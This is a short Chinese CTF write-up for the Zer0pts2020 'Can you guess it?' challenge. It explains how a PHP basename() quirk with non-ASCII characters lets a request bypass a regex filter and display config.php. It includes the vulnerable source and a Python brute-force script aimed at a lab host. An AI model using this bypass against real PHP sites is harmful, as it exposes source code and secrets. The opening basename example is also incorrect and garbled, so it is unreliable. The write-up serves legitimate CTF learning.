basename函数漏洞之[Zer0pts2020]Can you guess it?

知识点：

basename 函数，获取路径中的文件名；比如：test/inde.php/s   就会返回index,php

但是漏洞就是，它会去掉文件名开头的或者结尾的非ASCII值！

例题：

代码：

<?php
include 'config.php'; // FLAG is defined in config.php
 
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}
 
if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
 
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

这里正则的绕过，不能让config.php结尾，在它后面加点东西就可以了，比如/a 等等，但是为了使后面的basename得到的结果为config.php，这后面加的东西不能乱加，那么就加非ASCII码的字符就行啦，给个脚本吧

import requests
import re
url='http://317e76c1-04cb-4fcc-87cd-ed754c929a09.node4.buuoj.cn:81/'
payload='/index.php/config.php/'
for i in range(1,255):
    payloads=payload+chr(i)+'?source'
    urls=url+payloads
    print(urls)
    r=requests.get(urls)
    if 'flag' in r.text:
       print(r.text)
       print("第几个字符,i",i)
       break